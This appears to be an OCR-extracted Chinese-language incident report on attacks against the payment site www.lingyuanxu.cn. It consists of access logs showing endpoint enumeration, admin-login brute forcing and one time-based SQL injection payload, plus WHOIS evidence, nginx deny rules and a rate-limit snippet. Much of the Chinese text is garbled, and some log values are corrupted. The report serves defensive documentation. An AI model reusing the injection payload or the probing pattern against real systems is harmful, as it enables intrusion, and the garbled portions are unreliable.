47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/admin/staff HTTP/2.0" 401 52 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/pay/admin/staff HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/pay/config HTTP/2.0" 200 66 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:26: +0800] "GET /api/pay/public/announcement HTTP/2.0" 200 22 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:26: +0800] "POST /api/pay/public/cooperation HTTP/2.0" 400 40 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:26: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 271 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:27: +0800] "GET /api/pay/chat/messages?session i1d=0410a98a6619fcbb98e28fba HTTP/2.0"
200 1377 "-" "curl/8.20.0"

47.117.36.48 - - [09/Nov/2026:12:27: +0800] "GET /api/pay/chat/messages?session_1d=0410a98a6619fcbb98e28fba HTTP/2.0"
200 1708 "-" "curl/8.20.0"

47.117.36.48 - - [09/Nov/2026:12:29: +0800] "POST /api/pay/user/feedback HTTP/2.0" 460 49 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:29: +0800] "POST /api/pay/user/feedback HTTP/2.0" 200 76 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:29: +0800] "POST /api/pay/user/feedback HTTP/2.0" 200 76 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:30: +0800] "GET /api/pay/health HTTP/2.0" 404 153 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/healthz HTTP/2.0" 404 154 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/status HTTP/2.0" 404 153 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/ping HTTP/2.0" 404 151 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/metrics HTTP/2.0" 404 154 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/debug HTTP/2.0" 404 152 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/test HTTP/2.0" 404 151 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/env HTTP/2.0" 404 150 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/info HTTP/2.0" 404 151 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/version HTTP/2.0" 404 154 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/api-docs HTTP/2.0" 404 155 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/swagger.json HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/openapi.json HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/.git/config HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 500 58 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "POST /api/pay/callback/send-code HTTP/2.0" 500 58 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/users HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/orders HTTP/2.0" 404 160 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/tickets HTTP/2.0" 404 161 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/staff HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/stats HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/config HTTP/2.0" 404 160 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/complaints HTTP/2.0" 404 164 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/cooperations HTTP/2.0" 404 166 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/callbacks HTTP/2.0" 4064 163 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/chats HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:30: +0800] "GET /api/pay/public/feedbacks HTTP/2.0" 4064 163 "-" "curl/8.20.0"
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47.117.36.48 - - [09/Nov/2026:12:31: +0800] "GET /api/pay/query?out trade no=1%27%20AND%20SLEEP(3)--%20- HTTP/2.0"
404 67 "-" "curl/8.20.0"

47.117.36.48 - - [09/Nov/2026:12:31: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 293 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:31: +0800] "GET /api/pay/chat/messages?session i1d=0410a98a6619fcbb98e28fba HTTP/2.0"
200 2513 "-" "curl/8.20.0"

47.117.36.48 - - [09/Nov/2026:12:31: +0800] "POST /api/pay/staff/send-code HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:31: +0800] "POST /api/pay/staff/send-code HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:31: +0800] "POST /api/pay/staff/send-code HTTP/2.0" 400 46 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:31: +0800] "POST /api/pay/staff/send-code HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:31: +0800] "POST /api/pay/staff/send-sms-code HTTP/2.0" 460 46 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/chat/upload HTTP/2.0" 200 99 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 316 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 246 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/ai/chat HTTP/2.0" 404 160 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/ai/chat HTTP/2.0" 461 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/ai/perform HTTP/2.0" 4064 163 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/ai/perform HTTP/2.0" 461 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/chat/upload HTTP/2.0" 404 164 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/chat/upload HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/chats HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/chats HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/users HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/users HTTP/2.0" 404 159 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/callbacks HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/callbacks HTTP/2.0" 404 163 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/feedbacks HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/feedbacks HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "GET /api/pay/admin/announcements HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:32: +0800] "POST /api/pay/admin/announcements HTTP/2.0" 401 28 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:42: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:42: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "GET /api/pay/admin/login?password=x HTTP/2.0" 404 158 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:43: +0800] "POST /api/pay/admin/login HTTP/2.0" 401 31 "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "POST /api/pay/chat/send HTTP/2.0" 200 324 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "POST /api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:44: +0800] "POST /api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:44: +0800] "GET /api/pay/chat/messages?session 1d=0410a98a6619fcbb98e28fba HTTP/2.0"
200 7268 "-" "curl/8.20.0"

47.117.36.48 - - [09/Nov/2026:12:44: +0800] "GET /admin2.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 - - [09/Nov/2026:12:44: +0800] "GET /admin_old.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:44: +0800] "GET /adminold.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 - - [09/Nov/2026:12:44: +0800] "GET /adminl.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /admin-new.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /admin_v2.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /adminv2.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /old.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /manage.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /manager.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /system.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /backend.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /console.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /dashboard.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /houtai.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /guanli.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /root.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /super.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /webadmin.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /sysadmin.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /ops.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /dev.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /test.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /backup.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /1.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /a.html HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /admin/index.html HTTP/2.0" 464 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /admin/login.html HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /admin.htm HTTP/2.0" 404 162 "-" "curl/8.20.0"

47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /admin.html.bak HTTP/2.0" 404 162 "-" "curl/8.20.0"
47.117.36.48 [09/Nov/2026:12:44: +0800] "GET /admin.html~ HTTP/2.0" 404 162 "-" "curl/8.20.0"
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BT

REFRERER

[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:
[09/Nov/2026:1
[09/Nov/2026:
[09/Nov/2026:

+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]
+0800]

"POST
"POST
"POST
"POST
"POST
"POST
"POST
"POST
"POST
"POST
"POST
"POST
"POST
"POST
"GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET

"POST
"POST
"POST
"POST
"POST
"POST

www . 1ingyuanxu.

/api/pay/admin/login HTTP/2.0" 461 31 "-" "curl/8.20.0"
/api/pay/admin/login HTTP/2.0" 401 31 "curl/8.20.0"
/api/pay/admin/login HTTP/2.0" 401 31 "curl/8.20.0"
/api/pay/admin/login HTTP/2.0" 401 31 "- curl/8.20.0"
/api/pay/admin/send-code HTTP/2.0" 404 163 "-" "curl/8.20.0"
/api/pay/admin/email-code HTTP/2.0" 404 164 "-" "curl/8.20.0"
/api/pay/admin/code HTTP/2.0" 404 158 "-" "curl/8.20.0"
/api/pay/admin/sms-code HTTP/2.0" 404 162 "-" "curl/8.20.0"
/api/pay/admin/login-code HTTP/2.0" 404 164 "-" "curl/8.20.0"
/api/pay/admin/send-email-code HTTP/2.0" 404 169 "-" "curl/8.20.0"
/api/pay/admin/verify-code HTTP/2.0" 404 165 "-" "curl/8.20.0"
/api/pay/admin/captcha HTTP/2.0" 404 161 "-" "curl/8.20.0"
/api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
/api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"

/js/main.js.map HTTP/2.0" 404 162 "-" "curl/8.20.0"

/js/motion.js.map HTTP/2.0" 404 162 "-" "curl/8.20.0"

/css/style.css.map HTTP/2.0" 404 162 "-" "curl/8.20.0"

/js/ HTTP/2.0" 403 162 "-" "curl/8.20.0"

/css/ HTTP/2.0" 403 162 "-" "curl/8.20.0"

/images/ HTTP/2.0" 403 162 "-" "curl/8.20.0"

/uploads/ HTTP/2.0" 404 147 "-" "curl/8.20.0"

/uploads/chat/ HTTP/2.0" 404 152 "-" "curl/8.20.0"
/api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
/api/pay/staff/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
/api/pay/user/login HTTP/2.0" 401 43 "-" "curl/8.20.0"
/api/pay/staff/login HTTP/2.0" 401 43 "curl/8.20.0"
/api/pay/user/login HTTP/2. 403 162 curl/8.20.0"
/api/pay/staff/login HTTP/2.0" 403 162 "-" "curl/8.20.0"
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AT RS METRHY www . lingyuanxu.cn

BiE] B nE

12:19:07 Al ZRR tester01, &1, HERINZEFNERNG, BREXNERS. ERIUERRRK: KEOTRH
E. BREK. EAXM. NigEH; AlERRTHER, R LEEES,

12:22:40 Al ZAR tester01, 847, BEFNZEFNER NG, BREMAGRS. EAUEENR: REiTEH
E. BREK. BAZH. N8EE; WalERiETEKR, RS LEBEEE,

12:22:41 WiHE 57, BXIAMGREITE—EETEZN, FEEALHERE, s

12:22:48 Al 2R BAHEELEIRT, THESETK20261109JXV0T, FREZIESMALNE, MEHERERS S

&, e LARERYT 19326536531 iR,

12:25:00 Al ZRR tester01, &1, HERIZEFNERNG, REXNERS. ERIUERRRK: REOTRH
E. BREK. EAXM. Nig&H; LAlERRTHER, R LELEES,

12:25:01 Al AR tester01, &3F, RMERIZSFMERNG, REXNERS. ERILEERT: HAOITHEH
E. BREK. EAXM. Mig&H; LallERRTHER, R LELEEE,

12:25:01 Al ZBR tester01, &1F, RERIESZFNERNG, REXNERS. ERILUEERT: HAOITEH
E. BREK. EAXM. Mig&H; LAERRTEHER, R LELEES,

oooobooog

oooobooog

12:31:25 wEE BRE-TFHS19326536531% THFFAITREMARER, REAREER, FEEX
12:31:31 Al ZRR B, FRAEELHFIEIKSETHER, BIKSETOTEENS T, RXWEEER

B BEANIKS tester0l FTHENEBITRIER, THEE 4 {RENIE, MRBZNHE, BiEA
BEREANIRE, & LMHE chenmingxuan@lingyuanxu.cn tEB1E .

12:32:19 wEE BRI TH TK202611095COHE, EEANRAMNEE, MUEREEEeIREE—TRE
23T, 59

12:32:19 BEHE (AR LB 1794198738664-c747cd8f222f.svg — BIRE, MAKHIT]
12:32:21 Al ZhR tester0l, BIREWEIT ., BABEANFH TEEEZSEHRIG? tHINSITRRMERE T BE

MRS, HESEEEE,

12:34:22 Wik RETEME ‘MGG RS, £80.017T, BERIBITEHAR ST (oS

12:34:31 Al ZAR 7R, ISR 0.01 FTTAIMIEEIGNIAITE, MIiTEBEEEMARL THRITE) 24
FE%{F) , BRAFEEMAR, KRR TR, BXARERT, IRFREFET
%%0

12:34:57 Wik M TR, EUELE, iTESER

12:35:05 Al ZAR TR, BXMBEIREZE, TESHFES LT, BE—T-

12:38:54 WEHEE ZIREYF, RELIERTIE (32 TK202611099RUIT) , BEEBER(MEIEERE, HAGER

am¥ [T8] XBEE-T, LXEHRLE, !

12:39:01 Al ZBR tester0l, XM THEKXBEFT, REZHRIE, TRBENHNBERELERE, ERAIREEE
BLEERY, BNEEIRESEHNE AR FFaRBERERE.

12:44:04 w&HE freF, WEMRPZE, SIEEAEEERTNET, BRVRERRERINBLESL? et
I A?
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AT RS METRHY www . lingyuanxu.cn

A WEHETE 12:19-12:25 FEFHF 4 MRRSIEFEH, HREXER, RAEIERRLE,

| (M) SEETHEseEtERie (SHA256)

X% KEE{E

ip-47.117.34.80-full.log b7f8950117923eb60d9d1a8256a007936132895cbf22921534cfabf44f1lblede

ip-47.117.34.252+40.186-full.log 13902943f838a21b103b9974cbd94ffb9adaf4924c5518c3f85f6d658ec@9667

ip-47.117.36.48-full.log fb7c00f98088b5a9a1645f15c7e9e1d@bb12d75fcb9db3360bc6ead2bf@59271

attacker-chat-transcript.txt 6d1d2588c3ech@7c@caa3a60137120d836855af9f0c7f70bc511855f3686199%¢
BREAES: =R

AEPTES: LYX-BJ-20261110-001 (5e%hR) - F 12T /H 247 - THARSBEREER, FHERE



BT R 5 MERHR www.lingyuanxu.cn

HBEASRHER (FTHEBEREAFIIRE)

EiE—: HMERSFRERETEE (MEIHF)
GEEMR:

HUHESH:

BXREBIE:

R ERRE:

FHZ FITELUKEZSFRERETERZ (MEIHER)
FEEUSR.

SHESH:

BXREIE:

S—HRERARE:

AEEXRIRA

PR MELE P RYSERREHIA A (NRFE—ZKEEFFRHHIN: OR—A; NREIERE
e ) o MREBMFEMBZREEMHHERSE, KERBRT .

BEE

BEAZR (EHF—) HER: 2026 A H
REAER (EHID) : HHA: 20265 B H
RREMIXEL

FEFHpFE:

MR EF stttk -

BABRBIE:

A BARATHEXBEINER, FEMBEANEHESIANE; ARRIENAIIZZIEGRYE.
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BB REFMERT www.lingyuanxu.cn

REk ZE R SRS

00 WHOIS TR (Zigetia): 2026 &£ 11 A 10 H, BR$28: whois.apnic.net)

IP 3t IPVAEE (WHOIS) PR Ex
47.117.34.252 Aliyun Computing Co., LTD 47.116.0.0 - 47.119.255.255 CN
47.117.34.80 Aliyun Computing Co., LTD 47.116.0.0 - 47.119.255.255 CN
47.117.36.48 Aliyun Computing Co., LTD 47.116.0.0 - 47.119.255.255 CN
47.117.40.186 Aliyun Computing Co., LTD 47.116.0.0 - 47.119.255.255 CN
154.91.183.185 BIMNWER (APNIC B, ¥ MIRIATTENMH) 154.0.0.0 - 154.255.255.255 —

B E RIS R AEIE XFRFISE R P; RS WHOIS SE Bl S RS K555
00 FHERSEXHXHR

ooboooboobooooooooooobboooooooooooooo
oobooobooooboooobooooooboobooobooooooobooobobooboogoon
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A5 R 5 MERHR www.lingyuanxu.cn

WHOIS [RIaER4GR (195&)

ZifRTIE): 2026 £ 11 B 10 H 06:50 (UTC+8)  ZEiEtY: whois.apnic.net 43 i

47.117.34.252
inetnum :47.116.0.0 - 47.119.255.255
netname : ALISOFT
descr :Aliyun Computing Co., LTD
descr :5F, Builing D, the West Lake International Plaza of S&T
country : CN

47.117.34.80

inetnum :47.116.0.0 - 47.119.255.255
netname : ALISOFT

descr :Aliyun Computing Co., LTD
country : CN

47.117.36.48

inetnum :47.116.0.0 - 47.119.255.255
netname : ALISOFT

descr :Aliyun Computing Co., LTD
country : CN

47.117.40.186

inetnum :47.116.0.0 - 47.119.255.255
netname : ALISOFT

descr :Aliyun Computing Co., LTD
country : CN

154.91.183.185

inetnum :154.0.0.0 - 154.255.255.255
netname : (APNIC BFEEIMNWES)
descr :i¥DI5EE WHOIS $TENEF

d U EAEWRSFFEFREIZ XBFER, FRESBERFNLR; TBREXARISITITH,

WEFTES: LYX-BJ-20261110-001 (5e#hR) - HF 150 /H 24, - THARIERES, BHERNE



wr  REFPETHR www.lingyuanxu.cn

ARS8 5 A ERRIAE
—. RSE#RES (AERSEFRANEREERF)

FIE = ECS 5L ID: i-j6cf678zqtacxsyvgbva
IREANFTFE LRIRSBEEGHNE (root) , FIRIFRIEE. LEXHGEIZIRE 2RSS, AIBREMER
EMI7IEEL. REREGLE,

=, BHEERFKIT (RERSR[ERBRBEE)

* 47.117.34.252 52 47.117.40.186: #f 164 £i5RIZR (H 403 {648 54 %)
+ 47.117.34.80: # 124 £IFKIER (Hr 403 $E4 42 %)

+ 47.117.36.48: 241 £ERIEH

« Bt 529 FIEKIER, SIEXFR—HK

. IP HEREHESF (nginx, 2026-11-09 £33, MB=H)

deny 47.117.34.252;
deny 47.117.0.0/16;
deny 47.117.40.186;

deny 154.91.183.185;

M, XEE EE3XF SHA256 IRR{E (IBIRE, KHT)

a91c3f97318662fbfbe25ac0561b3bf998e70e393f51b124b5ff70dff190d9e0
(RE M, WEHBSLBLL js/.svg/.php/htm| miy B _LF, REHEE)
90c786108ef5b1444a195df289583d7a33e2bc7f50290a97b1bd0199elbbc4el
(T3 E FBIBIAX M, js, 2569 F19)
32ed59153ff80023fa3adde8461a356da26c389a975505da4e7c30acc0db3f42
({A%E(IFRTTIE, .svg, 1524 FT)

. EREEIRE (2026-11-09 SeREHZE MIEIT)
1. BRIIFRBEORD; 2. HEEORRT EEfERYE; 3. B3/4BEOEAMERS; 4. SEAEEHEAEE N,

7 RERELFH
https://www.lingyuanxu.cn/security-report.ntml (2026 & 11 B 10 H&7R)
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war EBFERIE

FfifE A: APNIC WHOIS ZigimELE

(=)

www.lingyuanxu.cn

APNIC LOG IN a

APNIC Whois Search

To assist you with debugging problems, this whois query was received from IP Address:

47.102.180.84

% APNIC found the following authoritative answer from: whois.apnic.net

% [whois.apnic.net]

% whois data copyright terms http://wew.apnic.net/db/dbcopyright.html

% Information related to '47.116.8.8 - 47.110.255.255'

% Abuse contact for '47.116.0.8 - 47.110.255.255' is 'ipasficnnic.cn’

inetnum: 47.116.0.0 - 47.110.255.255

netname: ALTSOFT

descr: Aliyun Computing Co., LTD

descr: 5F, Builing D, the West Lake International Plaza of S&T
descr: N0.391 wen'er Road, Hangzhou, Zhejiang, china, 31ee99
country: ]

admin-c: ZM1615-AP

tech-c: ZMETT-AP

tech-c: ZMBTG-AP

tech-c: ZMBTS-AP

A-1: whois.apnic.net &8 47.117.34.252 24

7 (3E: Aliyun Computing Co.,LTD) , ZEifEtia] 2026-11-10

APNIC LOG IN S

APNIC Whois Search

To assist you with debugging problems, this whois query was received from IP Address:

47.102.180.80

% APNIC found the following authoritative answer from: whois.apnic.net

% [whois.apnic.net]

% whois data copyright terms http://wew.apnic.net/db/dbcopyright.html

% Information related to '47.116.6.8 - 47.119.255.255'

% Abuse contact for '47.116.0.€ - 47.119.255.255' is 'ipas@cnnic.cn'

inetnum: 47.116.0.0 - 47.110.255.255

netname: ALTSOFT

descr: Aliyun computing Co., LTD

descr: 5F, Builing D, the West Lake International Plaza of S&T
descr: N0.391 wen'er Road, Hangzhou, Zhejiang, china, 31ee9g
country: cN

admin-c: ZM1615-AR

tech-c: ZMBTT-AP

tech-c: ZMBTG-AP

tech-c: ZMBTS-AP

B A-2: whois.apnic.net &3 47.117.34.80 &85, \AEAE L

AEBLES: LYX-BJ-20261110-001 (52ZEhR)

- F1TR/H 24T - TIHARSEERE

B, FHERE



war EBFERIE

MifE A: APNIC WHOIS i mEE (=)
| apNC o _ilww f

APNIC Whois Search

www.lingyuanxu.cn

To assist you with debugging problems, this whois query was received from IP Address:

47.102.180.78

% APNIC found the following authoritative answer from: whois.apnic.net

% [whois.apnic.net]
% whois data copyright terms http://wew.apnic.net/db/dbcopyright.html

% Information related to '47.116.8.8 - 47.110.255.255'

% Abuse contact for '47.116.0.8 - 47.110.255.255' is 'ipasficnnic.cn’

inetnum:
netname:
descr:
descr:
descr:
country:
admin-c:
tech-c:
tech-c:
tech-c:

47.116.0.0 - 47.110.255.255

ALTSOFT

Aliyun Computing Co., LTD

5F, Builing D, the West Lake International Plaza of S&T
N0.391 wen'er Road, Hangzhou, Zhejiang, china, 31ee99
]
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ZMBT7-AP

ZMBTG-AP

ZMBTS5-AP

A-3: whois.apnic.net &4 47.117.36.48 £, AERE L

APNIC LOG IN S

APNIC Whois Search

To assist you with debugging problems, this whois query was received from IP Address:

47.102.180.73

% APNIC found the following authoritative answer from: whois.apnic.net

% [whois.apnic.net]

% whois data copyright terms http://wew.apnic.net/db/dbcopyright.html

% Information related to '47.116.6.8 - 47.119.255.255'

% Abuse contact

inetnum:
netname:
descr:
descr:
descr:
country:
admin-c:
tech-c:
tech-c:
tech-c:

'47.116.0.0 - 47.119.255.255' is 'ipas@cnnic.cn’

47.116.0.0 - 47.110.255.255

ALTSOFT

Aliyun computing Co., LTD

5F, Builing D, the West Lake International Plaza of S&T
N0.391 wen'er Road, Hangzhou, Zhejiang, china, 31ee9g
cN

ZM1615-AR

ZMBTT-AP

ZMBT6-AP

ZMBT5-AP

& A-4: whois.apnic.net &5 47.117.40.186 £ 2\, JABEL

AEBLES: LYX-BJ-20261110-001 (52ZEhR)

- F18T/H 241 - TIHARTEERE
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fifF B: HRARESESICREE (—)

FRERAAHER)

deny 47.117.34.252;
deny 47.117.0.0/16;
deny 47.117.40.186;
deny 47.117.3:

deny 154.91.183.185;

deny 116.62.22.194

JAYE] : 2026

const loginAttempts = new Map();
const LOGIN_WINDOW =10 * 60 * 1000;
const LOGIN_MAX = 10;
function loginGuard(reg, res, next) {
const key = clientlpOf(req) +':' + req.path;
let rec = loginAttempts. get(key);
